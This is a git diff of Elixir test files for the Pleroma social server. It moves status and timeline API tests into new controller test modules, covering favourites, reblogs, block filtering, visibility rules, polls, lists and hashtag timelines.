+ assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id
+ end
+
+ describe "GET /api/v1/statuses/:id/favourited_by" do
+ setup do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+
+ [conn: conn, activity: activity, user: user]
+ end
+
+ test "returns users who have favorited the status", %{conn: conn, activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+
+ assert id == other_user.id
+ end
+
+ test "returns empty array when status has not been favorited yet", %{
+ conn: conn,
+ activity: activity
+ } do
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not return users who have favorited the status but are blocked", %{
+ conn: %{assigns: %{user: user}} = conn,
+ activity: activity
+ } do
+ other_user = insert(:user)
+ {:ok, user} = User.block(user, other_user)
+
+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ response =
+ conn
+ |> assign(:user, nil)
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+ assert id == other_user.id
+ end
+
+ test "requires authentification for private posts", %{conn: conn, user: user} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "@#{other_user.nickname} wanna get some #cofe together?",
+ "visibility" => "direct"
+ })
+
+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ conn
+ |> assign(:user, nil)
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(404)
+
+ response =
+ build_conn()
+ |> assign(:user, other_user)
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(200)
+
+ [%{"id" => id}] = response
+ assert id == other_user.id
+ end
+ end
+
+ describe "GET /api/v1/statuses/:id/reblogged_by" do
+ setup do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+
+ [conn: conn, activity: activity, user: user]
+ end
+
+ test "returns users who have reblogged the status", %{conn: conn, activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+
+ assert id == other_user.id
+ end
+
+ test "returns empty array when status has not been reblogged yet", %{
+ conn: conn,
+ activity: activity
+ } do
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not return users who have reblogged the status but are blocked", %{
+ conn: %{assigns: %{user: user}} = conn,
+ activity: activity
+ } do
+ other_user = insert(:user)
+ {:ok, user} = User.block(user, other_user)
+
+ {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
+
+ response =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
+
+ response =
+ conn
+ |> assign(:user, nil)
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+ assert id == other_user.id
+ end
+
+ test "requires authentification for private posts", %{conn: conn, user: user} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "@#{other_user.nickname} wanna get some #cofe together?",
+ "visibility" => "direct"
+ })
+
+ conn
+ |> assign(:user, nil)
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(404)
+
+ response =
+ build_conn()
+ |> assign(:user, other_user)
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(200)
+
+ assert [] == response
+ end
+ end
+
+ test "context" do
+ user = insert(:user)
+
+ {:ok, %{id: id1}} = CommonAPI.post(user, %{"status" => "1"})
+ {:ok, %{id: id2}} = CommonAPI.post(user, %{"status" => "2", "in_reply_to_status_id" => id1})
+ {:ok, %{id: id3}} = CommonAPI.post(user, %{"status" => "3", "in_reply_to_status_id" => id2})
+ {:ok, %{id: id4}} = CommonAPI.post(user, %{"status" => "4", "in_reply_to_status_id" => id3})
+ {:ok, %{id: id5}} = CommonAPI.post(user, %{"status" => "5", "in_reply_to_status_id" => id4})
+
+ response =
+ build_conn()
+ |> assign(:user, nil)
+ |> get("/api/v1/statuses/#{id3}/context")
+ |> json_response(:ok)
+
+ assert %{
+ "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}],
+ "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}]
+ } = response
+ end
+end
diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs
new file mode 100644
index 000000000..d3652d964
--- /dev/null
+++ b/test/web/mastodon_api/controllers/timeline_controller_test.exs
@@ -0,0 +1,291 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do
+ use Pleroma.Web.ConnCase
+
+ import Pleroma.Factory
+ import Tesla.Mock
+
+ alias Pleroma.Config
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+ alias Pleroma.Web.OStatus
+
+ clear_config([:instance, :public])
+
+ setup do
+ mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
+
+ test "the home timeline", %{conn: conn} do
+ user = insert(:user)
+ following = insert(:user)
+
+ {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/timelines/home")
+
+ assert Enum.empty?(json_response(conn, :ok))
+
+ {:ok, user} = User.follow(user, following)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> get("/api/v1/timelines/home")
+
+ assert [%{"content" => "test"}] = json_response(conn, :ok)
+ end
+
+ describe "public" do
+ @tag capture_log: true
+ test "the public timeline", %{conn: conn} do
+ following = insert(:user)
+
+ {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
+
+ {:ok, [_activity]} =
+ OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
+
+ conn = get(conn, "/api/v1/timelines/public", %{"local" => "False"})
+
+ assert length(json_response(conn, :ok)) == 2
+
+ conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "True"})
+
+ assert [%{"content" => "test"}] = json_response(conn, :ok)
+
+ conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "1"})
+
+ assert [%{"content" => "test"}] = json_response(conn, :ok)
+ end
+
+ test "the public timeline when public is set to false", %{conn: conn} do
+ Config.put([:instance, :public], false)
+
+ assert %{"error" => "This resource requires authentication."} ==
+ conn
+ |> get("/api/v1/timelines/public", %{"local" => "False"})
+ |> json_response(:forbidden)
+ end
+
+ test "the public timeline includes only public statuses for an authenticated user" do
+ user = insert(:user)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "private"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "unlisted"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
+
+ res_conn = get(conn, "/api/v1/timelines/public")
+ assert length(json_response(res_conn, 200)) == 1
+ end
+ end
+
+ describe "direct" do
+ test "direct timeline", %{conn: conn} do
+ user_one = insert(:user)
+ user_two = insert(:user)
+
+ {:ok, user_two} = User.follow(user_two, user_one)
+
+ {:ok, direct} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, _follower_only} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "private"
+ })
+
+ # Only direct should be visible here
+ res_conn =
+ conn
+ |> assign(:user, user_two)
+ |> get("api/v1/timelines/direct")
+
+ [status] = json_response(res_conn, :ok)
+
+ assert %{"visibility" => "direct"} = status
+ assert status["url"] != direct.data["id"]
+
+ # User should be able to see their own direct message
+ res_conn =
+ build_conn()
+ |> assign(:user, user_one)
+ |> get("api/v1/timelines/direct")
+
+ [status] = json_response(res_conn, :ok)
+
+ assert %{"visibility" => "direct"} = status
+
+ # Both should be visible here
+ res_conn =
+ conn
+ |> assign(:user, user_two)
+ |> get("api/v1/timelines/home")
+
+ [_s1, _s2] = json_response(res_conn, :ok)
+
+ # Test pagination
+ Enum.each(1..20, fn _ ->
+ {:ok, _} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "direct"
+ })
+ end)
+
+ res_conn =
+ conn
+ |> assign(:user, user_two)
+ |> get("api/v1/timelines/direct")
+
+ statuses = json_response(res_conn, :ok)
+ assert length(statuses) == 20
+
+ res_conn =
+ conn
+ |> assign(:user, user_two)
+ |> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]})
+
+ [status] = json_response(res_conn, :ok)
+
+ assert status["url"] != direct.data["id"]
+ end
+
+ test "doesn't include DMs from blocked users", %{conn: conn} do
+ blocker = insert(:user)
+ blocked = insert(:user)
+ user = insert(:user)
+ {:ok, blocker} = User.block(blocker, blocked)
+
+ {:ok, _blocked_direct} =
+ CommonAPI.post(blocked, %{
+ "status" => "Hi @#{blocker.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, direct} =
+ CommonAPI.post(user, %{
+ "status" => "Hi @#{blocker.nickname}!",
+ "visibility" => "direct"
+ })
+
+ res_conn =
+ conn
+ |> assign(:user, user)
+ |> get("api/v1/timelines/direct")
+
+ [status] = json_response(res_conn, :ok)
+ assert status["id"] == direct.id
+ end
+ end
+
+ describe "list" do
+ test "list timeline", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."})
+ {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
+ {:ok, list} = Pleroma.List.create("name", user)
+ {:ok, list} = Pleroma.List.follow(list, other_user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/timelines/list/#{list.id}")
+
+ assert [%{"id" => id}] = json_response(conn, :ok)
+
+ assert id == to_string(activity_two.id)
+ end
+
+ test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
+
+ {:ok, _activity_two} =
+ CommonAPI.post(other_user, %{
+ "status" => "Marisa is cute.",
+ "visibility" => "private"
+ })
+
+ {:ok, list} = Pleroma.List.create("name", user)
+ {:ok, list} = Pleroma.List.follow(list, other_user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/timelines/list/#{list.id}")
+
+ assert [%{"id" => id}] = json_response(conn, :ok)
+
+ assert id == to_string(activity_one.id)
+ end
+ end
+
+ describe "hashtag" do
+ @tag capture_log: true
+ test "hashtag timeline", %{conn: conn} do
+ following = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"})
+
+ {:ok, [_activity]} =
+ OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
+
+ nconn = get(conn, "/api/v1/timelines/tag/2hu")
+
+ assert [%{"id" => id}] = json_response(nconn, :ok)
+
+ assert id == to_string(activity.id)
+
+ # works for different capitalization too
+ nconn = get(conn, "/api/v1/timelines/tag/2HU")
+
+ assert [%{"id" => id}] = json_response(nconn, :ok)
+
+ assert id == to_string(activity.id)
+ end
+
+ test "multi-hashtag timeline", %{conn: conn} do
+ user = insert(:user)
+
+ {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"})
+ {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"})
+ {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"})
+
+ any_test = get(conn, "/api/v1/timelines/tag/test", %{"any" => ["test1"]})
+
+ [status_none, status_test1, status_test] = json_response(any_test, :ok)
+
+ assert to_string(activity_test.id) == status_test["id"]
+ assert to_string(activity_test1.id) == status_test1["id"]
+ assert to_string(activity_none.id) == status_none["id"]
+
+ restricted_test =
+ get(conn, "/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]})
+
+ assert [status_test1] == json_response(restricted_test, :ok)
+
+ all_test = get(conn, "/api/v1/timelines/tag/test", %{"all" => ["none"]})
+
+ assert [status_none] == json_response(all_test, :ok)
+ end
+ end
+end
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index f4902d043..8080d3941 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -6,25 +6,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
use Pleroma.Web.ConnCase
alias Ecto.Changeset
- alias Pleroma.Activity
- alias Pleroma.ActivityExpiration
alias Pleroma.Config
alias Pleroma.Notification
alias Pleroma.Object
alias Pleroma.Repo
- alias Pleroma.ScheduledActivity
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.CommonAPI
- alias Pleroma.Web.MastodonAPI.FilterView
alias Pleroma.Web.OAuth.App
alias Pleroma.Web.OAuth.Token
- alias Pleroma.Web.OStatus
alias Pleroma.Web.Push
- import Pleroma.Factory
+
import ExUnit.CaptureLog
- import Tesla.Mock
+ import Pleroma.Factory
import Swoosh.TestAssertions
+ import Tesla.Mock
@image "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7"
@@ -36,534 +33,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
clear_config([:instance, :public])
clear_config([:rich_media, :enabled])
- test "the home timeline", %{conn: conn} do
- user = insert(:user)
- following = insert(:user)
-
- {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/timelines/home")
-
- assert Enum.empty?(json_response(conn, 200))
-
- {:ok, user} = User.follow(user, following)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/timelines/home")
-
- assert [%{"content" => "test"}] = json_response(conn, 200)
- end
-
- test "the public timeline", %{conn: conn} do
- following = insert(:user)
-
- capture_log(fn ->
- {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
-
- {:ok, [_activity]} =
- OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
-
- conn =
- conn
- |> get("/api/v1/timelines/public", %{"local" => "False"})
-
- assert length(json_response(conn, 200)) == 2
-
- conn =
- build_conn()
- |> get("/api/v1/timelines/public", %{"local" => "True"})
-
- assert [%{"content" => "test"}] = json_response(conn, 200)
-
- conn =
- build_conn()
- |> get("/api/v1/timelines/public", %{"local" => "1"})
-
- assert [%{"content" => "test"}] = json_response(conn, 200)
- end)
- end
-
- test "the public timeline when public is set to false", %{conn: conn} do
- Config.put([:instance, :public], false)
-
- assert conn
- |> get("/api/v1/timelines/public", %{"local" => "False"})
- |> json_response(403) == %{"error" => "This resource requires authentication."}
- end
-
- describe "posting statuses" do
- setup do
- user = insert(:user)
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- [conn: conn]
- end
-
- test "posting a status", %{conn: conn} do
- idempotency_key = "Pikachu rocks!"
-
- conn_one =
- conn
- |> put_req_header("idempotency-key", idempotency_key)
- |> post("/api/v1/statuses", %{
- "status" => "cofe",
- "spoiler_text" => "2hu",
- "sensitive" => "false"
- })
-
- {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
- # Six hours
- assert ttl > :timer.seconds(6 * 60 * 60 - 1)
-
- assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
- json_response(conn_one, 200)
-
- assert Activity.get_by_id(id)
-
- conn_two =
- conn
- |> put_req_header("idempotency-key", idempotency_key)
- |> post("/api/v1/statuses", %{
- "status" => "cofe",
- "spoiler_text" => "2hu",
- "sensitive" => "false"
- })
-
- assert %{"id" => second_id} = json_response(conn_two, 200)
- assert id == second_id
-
- conn_three =
- conn
- |> post("/api/v1/statuses", %{
- "status" => "cofe",
- "spoiler_text" => "2hu",
- "sensitive" => "false"
- })
-
- assert %{"id" => third_id} = json_response(conn_three, 200)
- refute id == third_id
-
- # An activity that will expire:
- # 2 hours
- expires_in = 120 * 60
-
- conn_four =
- conn
- |> post("api/v1/statuses", %{
- "status" => "oolong",
- "expires_in" => expires_in
- })
-
- assert fourth_response = %{"id" => fourth_id} = json_response(conn_four, 200)
- assert activity = Activity.get_by_id(fourth_id)
- assert expiration = ActivityExpiration.get_by_activity_id(fourth_id)
-
- estimated_expires_at =
- NaiveDateTime.utc_now()
- |> NaiveDateTime.add(expires_in)
- |> NaiveDateTime.truncate(:second)
-
- # This assert will fail if the test takes longer than a minute. I sure hope it never does:
- assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60
-
- assert fourth_response["pleroma"]["expires_at"] ==
- NaiveDateTime.to_iso8601(expiration.scheduled_at)
- end
-
- test "replying to a status", %{conn: conn} do
- user = insert(:user)
- {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"})
-
- conn =
- conn
- |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
-
- assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
-
- activity = Activity.get_by_id(id)
-
- assert activity.data["context"] == replied_to.data["context"]
- assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
- end
-
- test "replying to a direct message with visibility other than direct", %{conn: conn} do
- user = insert(:user)
- {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"})
-
- Enum.each(["public", "private", "unlisted"], fn visibility ->
- conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" => "@#{user.nickname} hey",
- "in_reply_to_id" => replied_to.id,
- "visibility" => visibility
- })
-
- assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"}
- end)
- end
-
- test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
- conn =
- conn
- |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})
-
- assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
- assert Activity.get_by_id(id)
- end
-
- test "posting a sensitive status", %{conn: conn} do
- conn =
- conn
- |> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})
-
- assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200)
- assert Activity.get_by_id(id)
- end
-
- test "posting a fake status", %{conn: conn} do
- real_conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" =>
- "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it"
- })
-
- real_status = json_response(real_conn, 200)
-
- assert real_status
- assert Object.get_by_ap_id(real_status["uri"])
-
- real_status =
- real_status
- |> Map.put("id", nil)
- |> Map.put("url", nil)
- |> Map.put("uri", nil)
- |> Map.put("created_at", nil)
- |> Kernel.put_in(["pleroma", "conversation_id"], nil)
-
- fake_conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" =>
- "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it",
- "preview" => true
- })
-
- fake_status = json_response(fake_conn, 200)
-
- assert fake_status
- refute Object.get_by_ap_id(fake_status["uri"])
-
- fake_status =
- fake_status
- |> Map.put("id", nil)
- |> Map.put("url", nil)
- |> Map.put("uri", nil)
- |> Map.put("created_at", nil)
- |> Kernel.put_in(["pleroma", "conversation_id"], nil)
-
- assert real_status == fake_status
- end
-
- test "posting a status with OGP link preview", %{conn: conn} do
- Config.put([:rich_media, :enabled], true)
-
- conn =
- conn
- |> post("/api/v1/statuses", %{
- "status" => "https://example.com/ogp"
- })
-
- assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200)
- assert Activity.get_by_id(id)
- end
-
- test "posting a direct status", %{conn: conn} do
- user2 = insert(:user)
- content = "direct cofe @#{user2.nickname}"
-
- conn =
- conn
- |> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})
-
- assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200)
- assert activity = Activity.get_by_id(id)
- assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id]
- assert activity.data["to"] == [user2.ap_id]
- assert activity.data["cc"] == []
- end
- end
-
- describe "posting polls" do
- test "posting a poll", %{conn: conn} do
- user = insert(:user)
- time = NaiveDateTime.utc_now()
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "Who is the #bestgrill?",
- "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420}
- })
-
- response = json_response(conn, 200)
-
- assert Enum.all?(response["poll"]["options"], fn %{"title" => title} ->
- title in ["Rei", "Asuka", "Misato"]
- end)
-
- assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430
- refute response["poll"]["expred"]
- end
-
- test "option limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Config.get([:instance, :poll_limits, :max_options])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "desu~",
- "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1}
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Poll can't contain more than #{limit} options"
- end
-
- test "option character limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Config.get([:instance, :poll_limits, :max_option_chars])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "...",
- "poll" => %{
- "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)],
- "expires_in" => 1
- }
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Poll options cannot be longer than #{limit} characters each"
- end
-
- test "minimal date limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Config.get([:instance, :poll_limits, :min_expiration])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "imagine arbitrary limits",
- "poll" => %{
- "options" => ["this post was made by pleroma gang"],
- "expires_in" => limit - 1
- }
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Expiration date is too soon"
- end
-
- test "maximum date limit is enforced", %{conn: conn} do
- user = insert(:user)
- limit = Config.get([:instance, :poll_limits, :max_expiration])
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "imagine arbitrary limits",
- "poll" => %{
- "options" => ["this post was made by pleroma gang"],
- "expires_in" => limit + 1
- }
- })
-
- %{"error" => error} = json_response(conn, 422)
- assert error == "Expiration date is too far in the future"
- end
- end
-
- test "direct timeline", %{conn: conn} do
- user_one = insert(:user)
- user_two = insert(:user)
-
- {:ok, user_two} = User.follow(user_two, user_one)
-
- {:ok, direct} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, _follower_only} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "private"
- })
-
- # Only direct should be visible here
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/direct")
-
- [status] = json_response(res_conn, 200)
-
- assert %{"visibility" => "direct"} = status
- assert status["url"] != direct.data["id"]
-
- # User should be able to see their own direct message
- res_conn =
- build_conn()
- |> assign(:user, user_one)
- |> get("api/v1/timelines/direct")
-
- [status] = json_response(res_conn, 200)
-
- assert %{"visibility" => "direct"} = status
-
- # Both should be visible here
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/home")
-
- [_s1, _s2] = json_response(res_conn, 200)
-
- # Test pagination
- Enum.each(1..20, fn _ ->
- {:ok, _} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "direct"
- })
- end)
-
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/direct")
-
- statuses = json_response(res_conn, 200)
- assert length(statuses) == 20
-
- res_conn =
- conn
- |> assign(:user, user_two)
- |> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]})
-
- [status] = json_response(res_conn, 200)
-
- assert status["url"] != direct.data["id"]
- end
-
- test "Conversations", %{conn: conn} do
- user_one = insert(:user)
- user_two = insert(:user)
- user_three = insert(:user)
-
- {:ok, user_two} = User.follow(user_two, user_one)
-
- {:ok, direct} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}, @#{user_three.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, _follower_only} =
- CommonAPI.post(user_one, %{
- "status" => "Hi @#{user_two.nickname}!",
- "visibility" => "private"
- })
-
- res_conn =
- conn
- |> assign(:user, user_one)
- |> get("/api/v1/conversations")
-
- assert response = json_response(res_conn, 200)
-
- assert [
- %{
- "id" => res_id,
- "accounts" => res_accounts,
- "last_status" => res_last_status,
- "unread" => unread
- }
- ] = response
-
- account_ids = Enum.map(res_accounts, & &1["id"])
- assert length(res_accounts) == 2
- assert user_two.id in account_ids
- assert user_three.id in account_ids
- assert is_binary(res_id)
- assert unread == true
- assert res_last_status["id"] == direct.id
-
- # Apparently undocumented API endpoint
- res_conn =
- conn
- |> assign(:user, user_one)
- |> post("/api/v1/conversations/#{res_id}/read")
-
- assert response = json_response(res_conn, 200)
- assert length(response["accounts"]) == 2
- assert response["last_status"]["id"] == direct.id
- assert response["unread"] == false
-
- # (vanilla) Mastodon frontend behaviour
- res_conn =
- conn
- |> assign(:user, user_one)
- |> get("/api/v1/statuses/#{res_last_status["id"]}/context")
-
- assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200)
- end
-
- test "doesn't include DMs from blocked users", %{conn: conn} do
- blocker = insert(:user)
- blocked = insert(:user)
- user = insert(:user)
- {:ok, blocker} = User.block(blocker, blocked)
-
- {:ok, _blocked_direct} =
- CommonAPI.post(blocked, %{
- "status" => "Hi @#{blocker.nickname}!",
- "visibility" => "direct"
- })
-
- {:ok, direct} =
- CommonAPI.post(user, %{
- "status" => "Hi @#{blocker.nickname}!",
- "visibility" => "direct"
- })
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("api/v1/timelines/direct")
-
- [status] = json_response(res_conn, 200)
- assert status["id"] == direct.id
- end
-
test "verify_credentials", %{conn: conn} do
user = insert(:user)
@@ -733,700 +202,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert expected == json_response(conn, 200)
end
- test "get a status", %{conn: conn} do
- activity = insert(:note_activity)
-
- conn =
- conn
- |> get("/api/v1/statuses/#{activity.id}")
-
- assert %{"id" => id} = json_response(conn, 200)
- assert id == to_string(activity.id)
- end
-
- test "get statuses by IDs", %{conn: conn} do
- %{id: id1} = insert(:note_activity)
- %{id: id2} = insert(:note_activity)
-
- query_string = "ids[]=#{id1}&ids[]=#{id2}"
- conn = get(conn, "/api/v1/statuses/?#{query_string}")
-
- assert [%{"id" => ^id1}, %{"id" => ^id2}] = json_response(conn, :ok)
- end
-
- describe "deleting a status" do
- test "when you created it", %{conn: conn} do
- activity = insert(:note_activity)
- author = User.get_cached_by_ap_id(activity.data["actor"])
-
- conn =
- conn
- |> assign(:user, author)
- |> delete("/api/v1/statuses/#{activity.id}")
-
- assert %{} = json_response(conn, 200)
-
- refute Activity.get_by_id(activity.id)
- end
-
- test "when you didn't create it", %{conn: conn} do
- activity = insert(:note_activity)
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/statuses/#{activity.id}")
-
- assert %{"error" => _} = json_response(conn, 403)
-
- assert Activity.get_by_id(activity.id) == activity
- end
-
- test "when you're an admin or moderator", %{conn: conn} do
- activity1 = insert(:note_activity)
- activity2 = insert(:note_activity)
- admin = insert(:user, info: %{is_admin: true})
- moderator = insert(:user, info: %{is_moderator: true})
-
- res_conn =
- conn
- |> assign(:user, admin)
- |> delete("/api/v1/statuses/#{activity1.id}")
-
